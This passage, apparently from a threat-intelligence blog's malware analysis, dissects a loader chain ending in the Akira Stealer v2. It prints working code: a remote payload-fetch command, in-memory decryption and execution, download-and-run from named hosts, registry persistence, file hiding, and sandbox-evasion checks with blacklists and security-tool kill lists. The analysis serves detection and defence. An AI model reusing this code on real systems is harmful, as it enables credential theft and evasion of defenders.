72\n\nInvoke-SharpLoader -location \"https://cosmoplwnets.xyz/.well-known/pki-validation/calc.enc\" -password UwUFufu1 -noArgs\r\nThis example highlights the typical use case of SharpLoader:\r\nLocation Argument: The URL points to a remote server hosting calc.enc , a concealed second-stage payload.\r\nThe endpoint is located under a legitimate-looking .well-known directory, often used for HTTPS certificate\r\nvalidation, which helps blend the URL into legitimate web traffic.\r\nPayload Characteristics: calc.enc is a triple-obfuscated file — Base64-encoded, GZip-compressed, and AES-encrypted. This obfuscation pipeline ensures the payload is opaque to most detection mechanisms unless fully\r\nexecuted and decrypted in memory.\r\nPassword Argument: The string UwUFufu1 is used at runtime to derive the AES key via SHA-256 and PBKDF2.\r\nWithout this password, the payload cannot be decrypted, making offline analysis without context nearly impossible.\r\nNo Additional Arguments: The -noArgs switch indicates that no command-line parameters are passed to the\r\ndecrypted .NET assembly, triggering its default execution path.\r\nThis stealthy invocation chain encapsulates SharpLoader’s core purpose: fileless, adaptive, and secure payload delivery\r\nthrough simple PowerShell syntax with maximum obfuscation and evasion.\r\n4.7 Summary\r\nThe Invoke-SharpLoader construct exemplifies a highly refined and evasive malware staging technique that leverages\r\nnative system components, reflection, and cryptography to operate almost entirely in-memory.\r\nKey Highlights:\r\nBypassing AMSI: Direct in-memory patching of AmsiScanBuffer disables antivirus inspection without invoking\r\ndetectable APIs.\r\nSecure Payload Handling: Retrieval of encrypted and compressed stage-two payloads ensures confidentiality and\r\nadds multiple layers of evasion.\r\nMemory-Only Execution: Decrypted payloads are never written to disk, making detection by traditional file-based\r\nscanners nearly impossible.\r\nModular and Reusable Architecture: Through PowerShell parameters, SharpLoader can be flexibly reused across\r\ncampaigns with varying payloads and runtime behaviors.\r\n5. Deep Dive: main.exe – Electron-Based Malware Loader\r\nDuring reverse engineering, it became clear that main.exe , flagged by Microsoft Defender for Endpoint, was not a\r\nconventional binary but an Electron-based malware loader. It was delivered inside an archive named app-64.7z , which\r\nUpdater.exe downloaded and extracted at runtime. Once unpacked, the structure and contents strongly resembled a\r\ntypical Electron application.\r\n5.1 Recognizing Electron Structure\r\nThe extracted folder included files such as:\r\nchrome_100_percent.pak , v8_context_snapshot.bin , d3dcompiler_47.dll\r\nLICENSES.chromium and LICENSES.electron\r\nA large main.exe binary (~150 MB)\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 16 of 72\n\nA resources folder containing app.asar and a secondary binary elevate.exe\r\nThese are all strong indicators of an Electron app, which uses Chromium and Node.js to package JavaScript-based desktop\r\napplications. The presence of elevate.exe , a signed Microsoft binary often used to escalate privileges, raised further\r\nsuspicion—it could be abused to launch child processes with elevated rights.\r\n5.2 Unpacking and Static Analysis (Deep Dive)\r\nRather than executing main.exe , I opted for a static analysis approach to avoid triggering any live behavior. My initial\r\nsuspicion that main.exe was built with Electron was confirmed by locating the app.asar file inside the resources\r\ndirectory. In Electron apps, this archive contains all core application logic, such as JavaScript files, configuration\r\n( package.json ), and assets, packed into a custom format for performance and obfuscation purposes.\r\nThe .asar archive is essentially a read-only, high-performance container similar to .zip , but optimized for Electron’s\r\nruntime. While not encrypted, it obfuscates code access, making static analysis more challenging unless unpacked.\r\nTo unpack it, I used the official asar tool provided via npm. The steps were:\r\nnpm install -g asar\r\nasar extract app.asar extracted_app\r\nRunning the above commands extracted the content into a working folder ( extracted_app/ ), which revealed the actual\r\nJavaScript application code. This included:\r\njscryter.js , input.js , obf.js : These scripts form the malware logic. jscryter.js appears to orchestrate\r\npayload delivery, input.js defines configuration constants or command logic, and obf.js is a heavily\r\nobfuscated script likely containing the core payload logic.\r\npackage.json , package-lock.json : Define the runtime environment\r\nnode_modules/ : Contains all dependencies like axios , adm-zip , child_process\r\nThe unpacked contents enabled complete visibility into the logic of the malware without requiring execution, which was\r\nessential for safe reverse engineering. This step confirmed that main.exe served purely as a runtime wrapper for the\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 17 of 72\n\nmalicious scripts hidden inside app.asar .\r\n5.3. What the Static Analysis Revealed\r\nBy manually inspecting the code, I confirmed the malware logic was fully JavaScript-based, executed within the Electron\r\nruntime. The scripts were designed to:\r\nDownload an encrypted payload ( pyth.zip ) from fallback URLs\r\nExtract the archive using adm-zip\r\nPerform string replacement to inject specific credentials or wallet addresses\r\nLaunch the resulting Python file ( astor.py ) via child_process.exec() and python.exe\r\nCrucially, the loader also included logic to copy Updater.exe into the user's AppData directory if it wasn't already\r\npresent—reinforcing persistence and maintaining the infection loop.\r\n6. Deep Dive: input.js – The Encrypted JavaScript Payload Loader\r\ninput.js is a critical component in the analyzed malware chain, functioning as the decryption and execution hub for an\r\nencrypted JavaScript payload. This script hides its core functionality behind a strong encryption layer and only reveals its\r\nbehavior during runtime.\r\n6.1 Encryption and Decryption Mechanics\r\nAt first glance, input.js contains very little readable code. However, its primary purpose is to decrypt and execute a\r\nlarge obfuscated JavaScript blob stored within the script itself.\r\n6.1.1 Decryption Logic\r\nThe script defines a decrypt() function that accepts four parameters:\r\nencdata : The encrypted Base64-encoded data\r\nmasterkey : A plaintext passphrase\r\nsalt : A cryptographic salt (Base64)\r\niv : The initialization vector for AES decryption (Base64)\r\nThe decryption process is implemented using Node.js’s built-in crypto module. It proceeds as follows:\r\n1. Key Derivation: The script derives a 256-bit symmetric key using PBKDF2 (Password-Based Key Derivation\r\nFunction 2):\r\nconst key = crypto.pbkdf2Sync(\r\n masterkey,\r\n Buffer.from(salt, \"base64\"),\r\n 100000,\r\n 32,\r\n \"sha512\",\r\n);\r\nHash function: SHA-512\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 18 of 72\n\nIterations: 100,000\r\nKey length: 32 bytes (256 bits)\r\nSalt: Supplied as a Base64-decoded input\r\n2. AES-256-CBC Decryption: The derived key is then used to create an AES decipher object:\r\nconst decipher = crypto.createDecipheriv(\r\n \"aes-256-cbc\",\r\n key,\r\n Buffer.from(iv, \"base64\"),\r\n);\r\nThe encrypted payload is decrypted using standard CBC (Cipher Block Chaining) mode:\r\nlet decrypted = decipher.update(encdata, \"base64\", \"utf8\");\r\ndecrypted += decipher.final(\"utf8\");\r\n3. Dynamic Execution: The decrypted JavaScript code is never written to disk. Instead, it is dynamically executed in\r\nmemory using the Function constructor:\r\nnew Function(\"require\", decrypted)(require);\r\nThis technique enables fileless execution, reducing the chance of detection by traditional antivirus engines that rely\r\non disk-based scanning.\r\nThis approach demonstrates a layered defense against reverse engineering by combining key derivation, strong encryption,\r\nand dynamic in-memory execution.\r\nKey Material and Encrypted Data\r\nThe script includes the following hardcoded inputs:\r\nEncrypted Data: A massive Base64-encoded blob\r\nMaster Key: 9uNXNGt8/7kN7ZiEvy1OdYNpbcnzkERs\r\nSalt: maXtklzMEZRY9dbul/XPSw== (Base64-encoded)\r\nIV: HwK6sOz7FBbL+YsrOxtYUg== (Base64-encoded)\r\nThese are all embedded directly in the source code of input.js .\r\n6.2 Post-Decryption Payload Behavior\r\nOnce decrypted, the embedded payload becomes a full JavaScript program that performs the following malicious actions:\r\n6.2.1 Environment Preparation\r\nThe decrypted payload begins by setting up its execution environment using built-in Node.js modules. This setup phase\r\nensures that all required paths and working directories are clearly defined before any malicious behavior occurs.\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 19 of 72\n\nTemporary Directory Resolution: The malware calls os.tmpdir() to determine the path to the current system's\r\ntemporary directory. This is a common tactic for malware as temporary folders are typically writable and less\r\nscrutinized by endpoint protection systems.\r\nconst tempDir = os.tmpdir();\r\nPath Construction: The script then constructs absolute paths for two important files:\r\npyth.zip : The archive that contains the actual second-stage Python-based stealer\r\nbnd.exe : An optional executable file that may serve as a persistence backdoor or additional payload\r\nconst tempFile = path.join(tempDir, \"pyth.zip\");\r\nconst binderFile = path.join(tempDir, \"bnd.exe\");\r\nThis path setup abstracts away OS-specific path syntax and enables the malware to operate seamlessly on any Windows\r\nsystem. It also sets the stage for the file download and unpacking mechanisms that follow.\r\n6.2.2 Payload Download with Fallback Strategy\r\nThe second major phase of the decrypted JavaScript payload involves downloading a malicious ZIP archive from remote\r\nsources. This mechanism is designed with a multi-tiered fallback strategy to increase resilience and availability.\r\nPrimary Link Resolution via Rentry.co The script begins by resolving a dynamic URL from a text paste service.\r\nIt sends a GET request to:\r\nconst url = \"https://rentry.co/7vzd22fg36hfdd33/raw\";\r\nThis returns a plain-text URL string pointing to the actual location of the pyth.zip archive. Using a redirection\r\nmechanism like this is a common obfuscation technique—it abstracts the real malicious URL and makes static\r\ndetection harder.\r\nDownload Execution The resolved URL is then requested using the Axios library with a response stream:\r\nconst fileResponse = await axios.get(fileUrl, { responseType: \"stream\" });\r\nThe file is written to disk as pyth.zip in the system's temp directory:\r\nconst writer = fs.createWriteStream(tempFile);\r\nfileResponse.data.pipe(writer);\r\nThis download is wrapped in a Promise to ensure synchronous completion before further logic is executed.\r\nFallback URLs If the Rentry-based link fails, the script attempts hardcoded backup locations:\r\nhttps://cosmicdust.zip/.well-known/pki-validation/pyth.zip\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 20 of 72\n\nhttps://cosmoplanets.net/well-known/pki-validation/pyth.zip\r\nThese domains are structured to appear as part of standard TLS validation folders, possibly mimicking Let's\r\nEncrypt or domain validation paths to reduce suspicion. Each fallback is retried with the same streaming and file-write logic.\r\nRobustness and Obfuscation This fallback mechanism ensures that the malware has multiple retrieval paths for its\r\nsecond-stage payload. The use of a dynamic pointer ( rentry.co ) and multiple failover mirrors makes the malware\r\nmore resilient to takedowns, blocking, and DNS sinkholes.\r\nThis phase demonstrates careful operational planning by the malware authors, using layered redundancy and well-camouflaged delivery infrastructure.\r\nDownloads pyth.zip from the resolved URL\r\nIf that fails, it attempts fallback mirrors:\r\nhttps://cosmicdust.zip/.well-known/pki-validation/pyth.zip\r\nhttps://cosmoplanets.net/well-known/pki-validation/pyth.zip\r\n6.2.3 Payload Extraction and Manipulation\r\nOnce the pyth.zip archive has been successfully downloaded and saved to disk, the malware proceeds to extract its\r\ncontents and prepare them for execution. This is accomplished using the adm-zip Node.js library, which allows\r\nprogrammatic handling of ZIP files.\r\nZIP Extraction:\r\nconst zip = new AdmZip(tempFile);\r\nzip.extractAllTo(tempDir, true);\r\nThis extracts all contents of the archive to the system's temporary directory. The true flag ensures overwriting of\r\nany existing files.\r\nArchive Contents: The archive pyth.zip includes a fully bundled Python project, including:\r\nA directory structure resembling a legitimate Python package\r\nSeveral Python modules and dependencies\r\nThe key file astor.py located at Crypto/Util/astor.py , which is the main stealer payload\r\nPlaceholder Replacement: The malware performs dynamic substitution of predefined placeholders within\r\nastor.py to inject attacker-controlled configuration data such as:\r\nA Discord webhook URL\r\nCryptocurrency wallet addresses (BTC, ETH, DOGE, LTC, XMR, etc.)\r\nA user identifier ( %USERID% )\r\nAn error status flag ( %ERRORSTATUS% )\r\nfs.readFile(extractedDir + \"\\Crypto\\Util\\astor.py\", 'utf8', (err, data) =\u003e {\r\n let updatedFile = data\r\n .replace(\"%DISCORD%\", \u003cwebhook\u003e)\r\n .replace(\"%ADDRESSBTC%\", \u003cbtc_address\u003e)\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 21 of 72\n\n...\r\n .replace(\"%ERRORSTATUS%\", displayError ? \"true\" : \"false\");\r\n fs.writeFile(extractedDir + \"\\Crypto\\Util\\astor.py\", updatedFile, 'utf8');\r\n});\r\nThis dynamic manipulation phase is essential. By delaying the insertion of attacker-controlled values until runtime, the\r\npayload avoids static detection and allows the operator to adapt targets and exfiltration endpoints without repackaging the\r\narchive.\r\nReplaces placeholder strings in astor.py :\r\nDiscord webhook: %DISCORD%\r\nWallet addresses: %ADDRESSBTC% , %ADDRESSETH% , etc.\r\nUser ID and error flags\r\n6.2.4 Malware Execution\r\nOnce the placeholder injection into astor.py is complete, the malware initiates execution of the stealer via a system\r\ncall\r\nexec(\"python.exe Crypto\\\\Util\\\\astor.py\");\r\nThis command is executed using Node.js’s child_process.exec function and launches the embedded Python payload in a\r\nseparate process. This specific execution pattern—python.exe with the argument Crypto\\Util\\astor.py—was observed in\r\ntelemetry data collected by Microsoft Defender for Endpoint, making it a reliable detection artifact. In practice, the\r\nexecution chain looks like this:\r\nThe full malware execution chain, as observed in Microsoft Defender for Endpoint telemetry, follows this sequence:\r\nmain.exe (Electron-based container) invokes node.exe\r\nnode.exe launches cmd.exe\r\ncmd.exe starts python.exe\r\npython.exe executes the file Crypto\\Util\\astor.py\r\n6.2.5 Persistence Reinforcement\r\nTo ensure long-term presence on the infected system, the decrypted JavaScript payload includes logic to re-establish\r\npersistence by copying the initial binary ( Updater.exe ) to a hidden location within the user’s profile.\r\nTarget Directory\r\nThe file is copied to a directory that mimics legitimate Windows components:\r\n%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe\r\nThis location is intentionally chosen:\r\n%APPDATA% is writable by regular users and doesn’t require administrative privileges.\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 22 of 72\n\nThe directory name mimics legitimate Microsoft application folders, making it less suspicious.\r\nCopy Mechanism:\r\nThe copy operation uses Node.js’s fs.copyFileSync() function:\r\nfs.copyFileSync(\r\n process.env.PORTABLE_EXECUTABLE_FILE,\r\n path.join(\r\n process.env.APPDATA,\r\n \"Microsoft\",\r\n \"Internet Explorer\",\r\n \"UserData\",\r\n \"Updater.exe\",\r\n ),\r\n);\r\nPORTABLE_EXECUTABLE_FILE is an environment variable automatically set by many packers (such as\r\nElectron) to reference the path of the executing binary.\r\npath.join(...) builds a fully-qualified destination path across different operating systems.\r\nThis logic executes only if the file is not already present—thus acting as a self-repair mechanism to restore the dropper if\r\ndeleted.\r\nRole in the Malware Chain The presence of this copied Updater.exe ensures that:\r\nThe loader can re-trigger itself across system reboots.\r\nThe full infection chain (leading to main.exe, node.exe, and eventually astor.py) can re-initiate without relying on\r\ntraditional registry persistence mechanisms, which are more likely to be monitored.\r\n6.2.6 Optional Binder Execution\r\nIn addition to downloading and executing the main stealer payload ( astor.py ), the decrypted JavaScript also contains\r\nlogic to optionally download and launch a secondary executable referred to as the \"binder.\" This component can be used\r\nfor persistence, distraction, or deployment of additional malware modules.\r\nConditional Execution\r\nThe binder logic is only activated if a specific flag is set:\r\nenableBinder = true;\r\nIn the sample analyzed, this value was set to false by default, but the logic remains embedded in the payload and can be\r\ntrivially enabled in a different campaign or variant.\r\nBinder Download Logic\r\nIf activated, the script attempts to fetch an external binary from a URL defined by the %BINDERURL% placeholder:\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 23 of 72\n\nconst fileUrl = \"%BINDERURL%\";\r\nconst fileResponse = await axios.get(fileUrl, { responseType: \"stream\" });\r\nconst writer = fs.createWriteStream(binderFile);\r\nfileResponse.data.pipe(writer);\r\nThe bnd.exe file is saved into the system's temporary directory.\r\nLike pyth.zip , the binary is downloaded using Axios in a streamed fashion to avoid loading the entire binary into\r\nmemory.\r\nExecution Strategy\r\nAfter successful download, the script invokes the downloaded binary using cmd.exe , ensuring that it runs in a new shell\r\ncontext:\r\nexec(`start cmd /c start ${binderFile}`, ...);\r\nTo increase reliability, the script includes retry logic:\r\nsetTimeout(() =\u003e {\r\n exec(...);\r\n}, 5000);\r\nThis ensures that even if the initial execution fails (e.g., due to system load or race conditions), the malware will reattempt\r\nlaunching the binary after a short delay.\r\nUse Cases for the Binder\r\nWhile the exact purpose of the binder binary is not revealed in this particular sample (due to the placeholder URL), such\r\ncomponents are commonly used to:\r\nReinstall or relaunch the primary malware components\r\nDisplay fake installers or decoy applications\r\nDeploy additional spyware, backdoors, or ransomware\r\nModify system settings or disable security features\r\n6.3 Summary\r\ninput.js is a highly obfuscated, encrypted JavaScript loader that uses industry-standard cryptography (PBKDF2 + AES-256-CBC) to protect its true purpose. Upon decryption, it operates as a fully capable second-stage loader that:\r\nRetrieves further malware ( pyth.zip )\r\nModifies payload behavior dynamically\r\nLaunches the actual stealer script ( astor.py )\r\nReinforces persistence by restoring Updater.exe\r\nIts combination of encryption, dynamic execution, modular payload fetching, and fileless operation showcases a highly\r\nadvanced JavaScript-based malware architecture that leverages Node.js capabilities in an Electron shell.\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 24 of 72\n\n7. DeepDive: Akira Stealer v2 ( astor.py )\r\n7.1. High-Level Functionality\r\nAkira Stealer v2 ( astor.py ) is a multi-functional, modular infostealer malware written in Python. It is designed to\r\nexfiltrate a broad range of sensitive user data from both Chromium- and Firefox-based browsers, crypto wallets,\r\ncommunication clients (e.g., Discord, Telegram), and system files. It incorporates sophisticated anti-analysis mechanisms,\r\nregistry-based persistence, clipboard hijacking, and memory injection techniques.\r\n7.2 Persistence and Deployment\r\n7.2.1 Execution Chain Context\r\nastor.py is not executed standalone but is the final payload in a multi-stage attack chain:\r\nUpdater.exe\r\n └── main.exe (Electron app)\r\n └── cmd.exe\r\n └── python.exe astor.py\r\nThis structured execution chain allows each stage to evade detection by delegating malicious functionality to the next.\r\nUpdater.exe initiates the sequence and is responsible for maintaining persistence.\r\n7.2.2 Registry-Based Persistence\r\nAkira establishes persistence by writing a registry key under the current user’s Run path. This ensures that Updater.exe\r\nis executed on each system startup:\r\ncommand = f'reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v \"Realtek Audio\" /t REG_SZ /d \"{path}\\\\Up\r\nos.system(command)\r\nPath: HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\r\nValue name: Realtek Audio (chosen to appear benign)\r\nPayload path: Typically in AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\\\Updater.exe\r\nThis command silently writes the autorun entry via PowerShell or native os.system() execution.\r\n7.2.3 File Concealment\r\nTo further obscure the binary from users and simple AV scans, the file is marked with hidden and system attributes:\r\nsubprocess.run([\"attrib\", \"+h\", \"+s\", destination_path])\r\n+h : Marks the file as hidden\r\n+s : Marks the file as a protected system file\r\nThis effectively removes the file from standard Windows Explorer views and increases stealth.\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 25 of 72\n\n7.2.4 Reinfection Techniques\r\nThe malware supports self-replication and reinfection through Electron application hijacking. Specifically, it replaces the\r\napp.asar archive in Electron-based desktop wallets (e.g., Exodus, Atomic Wallet) to execute malicious JavaScript\r\nduring legitimate app startup.\r\nThe logic looks for known wallet app paths:\r\npath = os.getenv(\"APPDATA\") + \"\\\\Exodus\\\\resources\\\\app.asar\"\r\nIf the target file exists, it is overwritten with a weaponized archive. This ensures persistence even after manual cleanup of\r\nUpdater.exe .\r\n7.3 Anti-Analysis / Evasion (Class: VmProtect )\r\n7.3.1 Introduction\r\nIn modern malware campaigns, evading analysis in virtualized and sandboxed environments is critical to maintain stealth.\r\nThe Akira Stealer v2 implements a comprehensive VM/sandbox detection module ( VmProtect ) that aggressively\r\nidentifies and aborts execution under analyst-controlled environments. This report dissects each detection technique,\r\nprovides the exact code snippets—including complete blacklist definitions—and outlines the analysis methodology used.\r\n7.3.2 Overview\r\nThe VmProtect class implements robust VM and sandbox detection to prematurely abort execution in analysis\r\nenvironments. It supports two detection levels:\r\nLevel 1: Lightweight, fast checks\r\nLevel 2: In-depth, comprehensive probes\r\nIf VmProtect.isVM(level) returns True , the malware calls sys.exit() , preventing further analysis.\r\n7.3.3 Detection Levels\r\nFeature Level 1 Level 2\r\nHTTPSimulation ✔️ ✔️\r\nComputer-name blacklist ✔️ ✔️\r\nUser-account blacklist ✔️ ✔️\r\nHardware-UUID blacklist ❌ ✔️\r\nPublic-hosting API check ❌ ✔️\r\nRegistry \u0026 GPU hints ❌ ✔️\r\nTask-killing background ✔️ ✔️\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 26 of 72\n\n7.3.4 VmProtect Architecture\r\nThe VmProtect class exposes the following primary methods:\r\ncheckUUID()\r\ncheckComputerName()\r\ncheckUsers()\r\ncheckHosting()\r\ncheckHTTPSimulation()\r\ncheckRegistry()\r\nkillTasks()\r\nisVM(level)\r\nEach method returns a boolean or executes evasion steps. The isVM wrapper aggregates these checks based on the\r\nspecified level.\r\nMethod Triggered By Description\r\ncheckUUID() isVM(2) WMI UUID blacklist\r\ncheckComputerName() isVM(1,2) Environment hostname match\r\ncheckUsers() isVM(1,2) Username blacklist\r\ncheckHosting() isVM(2) IP hosting provider check via ip-api.com\r\ncheckHTTPSimulation() isVM(1,2) HTTPS interception detection\r\ncheckRegistry() isVM(2) Registry \u0026 GPU driver artifacts\r\nkillTasks() isVM(...) spawn Terminates known analysis processes\r\nisVM(level) init Aggregates checks and calls killTasks() thread\r\n@staticmethod\r\ndef isVM(level: int) -\u003e bool:\r\n # Always start background task-killer\r\n Thread(target=VmProtect.killTasks, daemon=True).start()\r\n if level == 1:\r\n # Fast path: HTTPS, hostname \u0026 user\r\n return (\r\n VmProtect.checkHTTPSimulation()\r\n or VmProtect.checkComputerName()\r\n or VmProtect.checkUsers()\r\n )\r\n if level == 2:\r\n # Deep scan: includes UUID, hosting, registry \u0026 GPU\r\n try:\r\n return (\r\n VmProtect.checkHTTPSimulation()\r\n or VmProtect.checkUUID()\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 27 of 72\n\nor VmProtect.checkComputerName()\r\n or VmProtect.checkUsers()\r\n or VmProtect.checkHosting()\r\n or VmProtect.checkRegistry()\r\n )\r\n except:\r\n return False\r\n return False\r\n7.3.5 UUID Check – Identifying Virtual Machines via Hardware UUID\r\nA common tactic in malware evasion is fingerprinting the underlying hardware environment. One of the earliest identifiers\r\nthat can signal a virtual machine is the system UUID (Universally Unique Identifier). Virtualization platforms like\r\nVMware and VirtualBox often generate predictable or reused UUIDs, which can be used by malware to infer whether it is\r\nrunning in a virtualized or sandboxed environment.\r\n@staticmethod\r\ndef checkUUID() -\u003e bool:\r\n try:\r\n raw = subprocess.run(\r\n \"wmic csproduct get uuid\", shell=True,\r\n capture_output=True\r\n ).stdout.splitlines()[2].decode().strip()\r\n except:\r\n raw = \"\"\r\n return raw in VmProtect.BLACKLISTED_UUIDS\r\nThis check leverages the Windows Management Instrumentation Command-line (WMIC) tool to extract the UUID of the\r\nhost machine. The returned value is then cross-checked against a curated list of UUIDs that are commonly associated with\r\nvirtual machine templates or known analysis setups.\r\n7.3.6 Computer Name Check – Detecting Sandbox and Analysis Environments via Hostname\r\nThe system hostname, accessed via the %COMPUTERNAME% environment variable, often reveals clues about its environment.\r\nAnalysts frequently use default or quickly-generated hostnames like \"DESKTOP-XXXXXXX\", \"WIN10ANALYSIS\", or\r\neven names linked to their internal environments. Malware takes advantage of this by comparing the system's hostname\r\nagainst a blacklist.\r\n@staticmethod\r\ndef checkComputerName() -\u003e bool:\r\n name = os.getenv(\"computername\", \"\").lower()\r\n return name in VmProtect.BLACKLISTED_COMPUTERNAMES\r\nBLACKLISTED_COMPUTERNAMES = (\r\n '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',\r\n 'desktop-vkeons4','ntt-eff-2w11wss',\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 28 of 72\n\n# ... dozens more entries ...\r\n)\r\nIf a match is found, the malware may choose to halt execution or deploy a fake payload, thereby avoiding full behavioral\r\nanalysis.\r\n7.3.7 User Account Check – Profiling Analyst or Default Accounts\r\nAnother heuristic involves evaluating the username under which the malware is executed. Many virtual machine templates\r\nand sandboxes reuse common usernames such as \"Abby\", \"Test\", or \"wdagutilityaccount\". These names are low-entropy\r\nand often hardcoded in open source sandbox environments.\r\n@staticmethod\r\ndef checkUsers() -\u003e bool:\r\n user = os.getlogin().lower()\r\n return user in VmProtect.BLACKLISTED_USERS\r\nBLACKLISTED_USERS = (\r\n 'wdagutilityaccount','abby','peter wilson','hmarc',\r\n 'a.monaldo','tvm',\r\n # ... 30+ more entries ...\r\n)\r\nThis check enhances detection by focusing on user context, which may remain unchanged even across reboots or virtual\r\nmachine snapshots.\r\n7.3.8 Hosting Check – Detecting Public Cloud Infrastructure\r\nSome malware uses external IP intelligence services to verify whether the infected system resides in a known data center\r\nor cloud provider environment. In this case, a simple HTTP request is made to ip-api.com , asking whether the IP is\r\nflagged as \"hosting\".\r\n@staticmethod\r\ndef checkHosting() -\u003e bool:\r\n http = PoolManager(cert_reqs=\"CERT_NONE\")\r\n try:\r\n return http.request(\r\n 'GET',\r\n 'http://ip-api.com/line/?fields=hosting'\r\n ).data.decode().strip() == 'true'\r\n except:\r\n return False\r\nThis allows the malware to determine if it’s running on infrastructure owned by Microsoft Azure, AWS, DigitalOcean, etc.\r\n—a red flag for sandboxing.\r\n7.3.9 HTTPS Simulation Check – Probing for SSL Interception\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 29 of 72\n\nTo identify environments with SSL inspection (common in corporate or research networks), the malware issues a benign\r\nHTTPS request to a random subdomain under .in . If the connection fails—due to DNS filtering, interception proxies, or\r\ncertificate pinning failures—it may signal that the malware is being analyzed.\r\n@staticmethod\r\ndef checkHTTPSimulation() -\u003e bool:\r\n http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\r\n try:\r\n http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\r\n except:\r\n return False\r\n return True\r\nThis subtle approach tests the network path's integrity without triggering alarms or requiring dedicated infrastructure.\r\n7.3.10 Registry \u0026 GPU Driver Check – Detecting Virtual GPU Signatures\r\nCertain virtual environments are betrayed by registry keys or GPU driver descriptors. Akira executes a dual strategy: it\r\nqueries registry entries tied to the graphics subsystem, and separately examines the output of wmic for suspicious GPU\r\nstrings.\r\n@staticmethod\r\ndef checkRegistry() -\u003e bool:\r\n r1 = subprocess.run(\r\n \"REG QUERY HKLM\\\\...\\\\0000\\\\DriverDesc 2\",\r\n capture_output=True, shell=True)\r\n r2 = subprocess.run(\r\n \"REG QUERY HKLM\\\\...\\\\0000\\\\ProviderName 2\",\r\n capture_output=True, shell=True)\r\n # GPU name check\r\n gpu_out = subprocess.run(\r\n \"wmic path win32_VideoController get name\",\r\n capture_output=True, shell=True).stdout.decode().splitlines()\r\n gpucheck = any(x in gpu_out[2].lower()\r\n for x in (\"virtualbox\", \"vmware\"))\r\n return (r1.returncode != 1 and r2.returncode != 1) or gpucheck\r\nThese hardware-layer checks are particularly effective against analyst setups that may not fully mask virtualized display\r\nadapters.\r\n7.3.11 Task-Killing – Suppressing Analysis Tools in Real Time\r\nRather than only evading detection passively, Akira goes a step further by actively terminating known analysis or\r\ndebugging tools. It spins off a background thread that iterates over a list of processes and kills any match it finds.\r\n@staticmethod\r\ndef killTasks() -\u003e None:\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 30 of 72\n\nUtils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\r\nBLACKLISTED_TASKS = (\r\n 'wireshark','fiddler','ida64','x32dbg','vmtoolsd',\r\n # ... dozens more ...\r\n 'glasswire','requestly'\r\n)\r\nThese tools—commonly used by incident responders and malware analysts—are neutralized before they can collect\r\nmeaningful behavioral artifacts.\r\nSummary\r\nAkira uses a sophisticated suite of anti-analysis techniques that target multiple system layers — from environment\r\nvariables and registry keys to network probes and task lists. These mechanisms are designed to detect and evade both\r\nautomated sandboxes and manual inspection setups.\r\nThe combination of passive fingerprinting and active suppression (e.g., task killing) demonstrates how even mid-tier\r\nmalware families now integrate multi-layer evasion logic.\r\n7.3.12 Complete Blacklists \u0026 Detection Functions\r\nBlacklisted Hardware UUIDs\r\nBLACKLISTED_UUIDS = (\r\n '7AB5C494-39F5-4941-9163-47F54D6D5016',\r\n '032E02B4-0499-05C3-0806-3C0700080009',\r\n '03DE0294-0480-05DE-1A06-350700080009',\r\n '11111111-2222-3333-4444-555555555555',\r\n '6F3CA5EC-BEC9-4A4D-8274-11168F640058',\r\n 'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548',\r\n '4C4C4544-0050-3710-8058-CAC04F59344A',\r\n '00000000-0000-0000-0000-AC1F6BD04972',\r\n '00000000-0000-0000-0000-000000000000',\r\n '5BD24D56-789F-8468-7CDC-CAA7222CC121',\r\n '49434D53-0200-9065-2500-65902500E439',\r\n '49434D53-0200-9036-2500-36902500F022',\r\n '777D84B3-88D1-451C-93E4-D235177420A7',\r\n '49434D53-0200-9036-2500-369025000C65',\r\n 'B1112042-52E8-E25B-3655-6A4F54155DBF',\r\n '00000000-0000-0000-0000-AC1F6BD048FE',\r\n 'EB16924B-FB6D-4FA1-8666-17B91F62FB37',\r\n 'A15A930C-8251-9645-AF63-E45AD728C20C',\r\n '67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3',\r\n 'C7D23342-A5D4-68A1-59AC-CF40F735B363',\r\n '63203342-0EB0-AA1A-4DF5-3FB37DBB0670',\r\n '44B94D56-65AB-DC02-86A0-98143A7423BF',\r\n '6608003F-ECE4-494E-B07E-1C4615D1D93C',\r\n 'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A',\r\n '49434D53-0200-9036-2500-369025003AF0',\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 31 of 72\n\n'8B4E8278-525C-7343-B825-280AEBCD3BCB',\r\n '4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27',\r\n '79AF5279-16CF-4094-9758-F88A616D81B4',\r\n 'FE822042-A70C-D08B-F1D1-C207055A488F',\r\n '76122042-C286-FA81-F0A8-514CC507B250',\r\n '481E2042-A1AF-D390-CE06-A8F783B1E76A',\r\n 'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C',\r\n 